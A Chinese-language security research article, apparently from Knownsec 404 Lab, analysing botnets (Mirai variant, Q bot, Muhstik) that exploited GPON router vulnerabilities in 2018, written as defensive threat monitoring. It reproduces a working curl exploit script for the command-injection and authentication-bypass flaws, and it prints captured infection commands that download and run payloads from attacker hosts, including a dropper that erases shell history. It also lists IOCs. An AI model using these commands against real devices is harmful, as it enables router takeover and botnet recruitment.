作者:知道創宇404實驗室
日期:2018/05/10
2018/05/07,
ZoomEye Dork(文末有彩蛋)中heige吟詩一首(作者:卞之琳):
斷章
你在橋上看風景,
看風景人在樓上看你。
明月裝飾了你的窗子,
你裝飾了別人的夢。
殊不知在GPON Home Gateway遠程命令執行漏洞被利用的過程中亦是如此。
0x00前言
一. 漏洞詳情
2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:驗證繞過漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要發送一個請求,就可以在 GPON路由器 上執行任意命令,所以在上一篇文章《GPON Home Gateway 遠程命令執行漏洞分析》,我們給出了僵尸網絡的相關預警。
結合ZoomEye網絡空間搜索引擎以及對漏洞原理的詳細研究,我們對GPON Home Gateway遠程命令執行漏洞被利用情況進行了深入的研究,意外地發現利用該漏洞的僵尸網絡是可以被監控的。
短短的四天時間內,這片路由器的戰場,競爭、撤退、消亡時時刻刻都在上演,在每一個路由器的背后,每天都有著多個不同的惡意控制者,故事精彩得難以想象。
二. 檢測原理
漏洞發現者給出的利用腳本如下:
1 #!/bin/bash
2
3 echo “[+] Sending the Command… “
4 # We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices
5 curl -k -d “XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0” $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
6 echo “[+] Waiting….”
7 sleep 3
8 echo “[+] Retrieving the ouput….”
9 curl -k $1/diag.html?images/ 2>/dev/null | grep ‘diag_result = ‘ | sed -e ‘s/\\n/\n/g’
該腳本邏輯如下:
步驟1(行5):將注入的命令發送至/GponForm/diag_Form并被執行。
步驟2(行9):利用繞過漏洞訪問diag.html頁面獲取命令執行的結果。
關鍵點在第二步:
當我們不使用grep diag_result去過濾返回的結果,將會發現部分路由器會將diag_host也一并返回。而參數diag_host就是步驟1中注入的命令。

這就意味著,通過ZoomEye網絡空間搜索引擎,我們可以監控互聯網上相關路由器的diag.html頁面,從而了解僵尸網絡的活動情況。
0x01 被利用情況
ZoomEye網絡空間搜索引擎在2018/05/05、2018/05/07、2018/05/08進行了三次探測,一共發現了與僵尸網絡相關的命令 12處。
一. 被利用情況總覽

二. 詳細介紹
1. Mirai變種僵尸網絡 THANOS
這是一個在我們研究前撤退、研究時重新歸來的僵尸網絡
使用的感染命令如下:
編號1busybox wget http://104.243.44.250/mips -O /tmp/m
編號10busybox wget http://82.202.166.101/mips -O -
1.1 104.243.44.250 樣本
在我們發現相關攻擊痕跡時,樣本已無法下載。看起來就像始作俑者已經撤退。
但是我們仍然從路由器上運行的樣本中了解到該僵尸網絡的行為:
- 當前進程

- 網絡連接情況

- CNC
82.202.166.101:45,2018/05/05未連接成功(2018/05/09發現該CNC重新打開)

由于該惡意樣本擁有生成隨機進程名、對外爆破23端口等特征,故可能是Mirai僵尸網絡或其變種。
1.2 82.202.166.101 樣本
# sha256sum 82.202.166.101/mips
94717b25e400e142ce14305bf707dfcfe8327986fa187a2c5b32b028898a39ec 82.202.166.101/mips
2018/05/07,我們發現了少量該樣本的感染痕跡,通過進一步研究,我們認為該僵尸網絡已經回歸。
由于該樣本直接在 1.1 中的 CNC 主機上傳播,運行時依舊會生成隨機進程名,對外爆破23端口,故我們將兩者歸為同一僵尸網絡家族。
- 新的CNC
185.232.65.169:8080
新的 CNC 上線包如下
根據這個上線包,我們將該僵尸網絡稱為 Mirai變種僵尸網絡 THANOS
2. Q bot僵尸網絡變種
這是一個持續存在的僵尸網絡,在我們三次探測中均有出現。預計感染了大量設備。
使用的感染命令如下:
編號2busybox wget http://185.244.25.162/mips -O /tmp/.m
編號7busybox wget http://58.215.144.205/mips -O /tmp/.q
編號12busybox wget http://58.215.144.205/mips -O /tmp/adj
2.1 185.244.25.162 樣本
# sha256sum 185.244.25.162/mips
73473c37e5590bd3eb043e33e2f8832989b88f99449582399522c63d4d46251e 185.244.25.162/mips
# file 185.244.25.162/mips
185.244.25.162/mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
該惡意樣本屬于 MIPS 架構,使用 UPX 加殼。在脫殼對其進行逆向的過程中,我們意外發現了與該樣本相關的源碼:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c
但該樣本和源碼依然有很多地方不同:
- 對外掃描的IP段不同,樣本中對外掃描的IP段如下:
該樣本在對外掃描時,只會掃描表格中的這些IP

- kill別的bot的列表
該樣本會檢測路由器中已有的進程,如果遇到下列可能屬于其它僵尸網絡的進程,將會進行 kill 操作(匹配的關鍵詞遠比源碼中的豐富)

該樣本的 CNC 為: 185.33.145.92:252,該 CNC 依舊處于活躍狀態

需要注意的是
- 該樣本內置了
DDoS攻擊模塊,可以根據CNC指令發動TCP、UDP、HTTP洪水攻擊 - 該樣本內置了
netcore backdoor利用模塊,并且可以通過CNC開啟對外掃描(默認關閉,相關漏洞詳情可以參考鏈接:http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/)
利用腳本如下:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.33.145.92/miggs.sh; chmod 777 miggs.sh; sh miggs.sh; tftp 185.33.145.92 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.33.145.92; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.33.145.92 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf miggs.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c
2.2 58.215.144.205 樣本(2018/05/07 版本)
# sha256sum 58.215.144.205/mips
41111f0941b323c13ca84caf1e552dc78caac713f4dc1a03fc322c1febcbd6ba 58.215.144.205/mips
該樣本的感染邏輯沒有太大變化, CNC 與上文相同,為: 185.33.145.92:252,所以我們認為這與上文同屬于 Q bot僵尸網絡家族的變種。
2.3 58.215.144.205 樣本(2018/05/08 版本)
# sha256sum 0508/58.215.144.205/mips
9590cc3c1e7a32f6221528b526212b2ad87b793b885639580c276243ec60830b 0508/58.215.144.205/mips
2018/05/08,58.215.144.205/mips更新了相關的樣本。通過逆向的結果看,新的樣本與之前的邏輯完全不同,惡意控制者更換了控制的程序。
新的樣本看起來更像是 Mirai 僵尸網絡的新變種,具體的感染細節我們仍在持續跟進中。
該樣本的CNC為 linuxusaarm.com:443
3. Muhstik 僵尸網絡
2018/04/20,360netlab曝光了一個長期存在的僵尸網絡:
Muhstik僵尸網絡。在本次漏洞事件中,我們也發現了大量Muhstik僵尸網絡的身影。
該僵尸網絡使用的感染命令如下:
編號3wget -qO - http://162.243.211.204/gpon|sh
編號4wget -qO - http://162.243.211.204/aio|sh
編號5wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
編號8wget -qO - http://54.39.23.28/1sh | sh
編號9wget -qO - http://104.54.236.173/gpon | sh
由于該僵尸網絡樣本眾多,多條命令有多次重復感染。故我們通過下圖展示各樣本和各IP的聯系:
圖中紅點代表各IP,灰點代表感染的bash腳本,黃點代表各惡意樣本,藍點代表出現的鏈接,紅線代表從bash腳本中下載的樣本
- 各感染腳本如下:
# cat 104.54.236.173/gpon
wget -O /tmp/cron http://162.243.211.204/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
# cat 162.243.211.204/gpon
wget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
# cat 162.243.211.204/gpon
wget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &root@vultr:~/gpon# cat 54.39.23.28/1sh
wget -O /tmp/cron http://51.254.221.129/c/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &
wget -O /tmp/tfti http://51.254.221.129/c/tfti; chmod +x /tmp/tfti; chmod 700 /tmp/tfti; /tmp/tfti &
wget -O /tmp/pftp http://51.254.221.129/c/pftp; chmod +x /tmp/pftp; chmod 700 /tmp/pftp; /tmp/pftp &
wget -O /tmp/ntpd http://51.254.221.129/c/ntpd; chmod +x /tmp/ntpd; chmod 700 /tmp/ntpd; /tmp/ntpd &
wget -O /tmp/sshd http://51.254.221.129/c/sshd; chmod +x /tmp/sshd; chmod 700 /tmp/sshd; /tmp/sshd &
wget -O /tmp/bash http://51.254.221.129/c/bash; chmod +x /tmp/bash; chmod 700 /tmp/bash; /tmp/bash &
wget -O /tmp/pty http://51.254.221.129/c/pty; chmod +x /tmp/pty; chmod 700 /tmp/pty; /tmp/pty &
wget -O /tmp/shy http://51.254.221.129/c/shy; chmod +x /tmp/shy; chmod 700 /tmp/shy; /tmp/shy &
wget -O /tmp/nsshtfti http://51.254.221.129/c/nsshtfti; chmod +x /tmp/nsshtfti; chmod 700 /tmp/nsshtfti; /tmp/nsshtfti &
wget -O /tmp/nsshcron http://51.254.221.129/c/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron &
wget -O /tmp/nsshpftp http://51.254.221.129/c/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
fetch -o /sbin/kmpathd http://51.254.221.129/c/fbsd; chmod +x /sbin/kmpathd; /sbin/kmpathd &
- 各樣本
sha256值如下:
5f2b198701ce619c6af308bcf3cdb2ef36ad2a5a01b9d9b757de1b066070dad7 51.254.221.129/c/bash
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 51.254.221.129/c/cron
54b951302c8da4f9de837a0309cce034a746345d2f96a821c7fc95aa93752d43 51.254.221.129/c/fbsd
2cfa79ce4059bbc5798f6856cf82af7fce1d161d6ef398c07f01a010ba5299ea 51.254.221.129/c/nsshcron
3ca8c549357d6121b96256715709bccf16a249dcc45bad482f6c8123fc75642f 51.254.221.129/c/nsshpftp
d4fba221b1a706dd3c617e33077d1072b37b2702c3235d342d94abfd032ba5f8 51.254.221.129/c/nsshtfti
e2267edd2b70b5f42a2da942fa47cca98e745f2f2ff8f3bbf7baf8b1331c1a89 51.254.221.129/c/ntpd
cfc82255b7e75da9cd01cffdfd671ccf6fafaa3f705041d383149c1191d8bdff 51.254.221.129/c/pftp
5e8398c89631ea8d9e776ec9bdd6348cb32a77b300ab8b4ead1860a6a1e50be7 51.254.221.129/c/pty
948ef8732346e136320813aade0737540ef498945c1ea14f26a2677e4d64fdee 51.254.221.129/c/shy
5477129edd21ce219e2a8ecf4c0930532c73417702215f5813c437f66c8b0299 51.254.221.129/c/sshd
c937caa3b2e6cbf2cc67d02639751c320c8832047ff3b7ad5783e0fd9c2d7bae 51.254.221.129/c/tfti
3138079caea0baa50978345b58b8d4b05db461b808710146d4e0abb5461c97df 162.243.211.204/aiomips
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 162.243.211.204/cron
5b71ba608e417fb966ff192578d705a05eab4ff825541d9394c97271196cfd69 162.243.211.204/mrt
- CNC
192.99.71.250:9090
4. 未知樣本1
該樣本使用的感染命令如下:
編號6curl -fsSL http://ztccds.freesfocss.com/test.txt | sh
# sha256sum ztccds.freesfocss.com/zt_arm
24602f1c6d354e3a37d4a2e2dd9cef0098f390e1297c096997cc20da4795f2a2 ztccds.freesfocss.com/zt_arm
該樣本會連接 ztccds.freesfocss.com:23364,樣本具體功能仍在研究中。
5. 未知樣本2
該樣本使用的感染命令如下:
編號11busybox wget http://185.246.152.173/omni -O /tmp/talk
該樣本運行的命令為/tmp/talk gpon
# sha256sum 185.246.152.173/omni
18c23bd57c8247db1de2413ce3ff9e61c5504c43cbadaaefce2fb59f4b3c10a0 185.246.152.173/omni
該樣本會連接185.246.152.173:1000,但該端口已經關閉(2018/05/09)。
0x02 受影響主機范圍
注:由于僅探測了
diag.html頁面,故在多輪探測中我們只能確定哪些主機被攻擊,無法判斷攻擊者是否攻擊成功
一. 探測到的主機均集中在墨西哥
在對探測到的主機進行地域劃分時,三輪探測中被攻擊的IP都位于墨西哥。
對受影響最多的五個國家進行抽樣測試,結果如下:

該漏洞存在與墨西哥和哈薩克斯坦,但是由于固件不同,只有墨西哥的路由器會返回diag_host,所以我們僅監測到墨西哥的路由器受影響情況。

由于墨西哥的設備占據了全球設備的一半以上,我們認為相關數據依舊可以反應僵尸網絡的實際情況。
二. 受攻擊的路由器執行的命令情況
由于
2018/05/05第一輪探測中只統計了存在/tmp字段的diag_host的內容,所以第一輪探測的數據具有一定的局限性。

可以很明顯看出:
- 確認被攻擊的路由器數量在不斷增加
- 各僵尸網絡活動頻繁,
2018/05/07Muhstik僵尸網絡發動大量攻擊,而2018/05/08就變成了Q bot僵尸網絡變種。僵尸網絡之間的競爭可見一斑。
0x03 結語
近年來,僵尸網絡逐漸盯上攻擊簡單但危害巨大的物聯網漏洞。從去年的GoAhead到今年的GPON事件,無不在提醒我們物聯網安全的重要性。能結合ZoomEye網絡空間搜索引擎了解到GPON事件背后活躍的僵尸網絡動態,對我們來說就是一種收獲。
附錄
關于ZoomEye Dork,歡迎加入小密圈(免費):

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/595/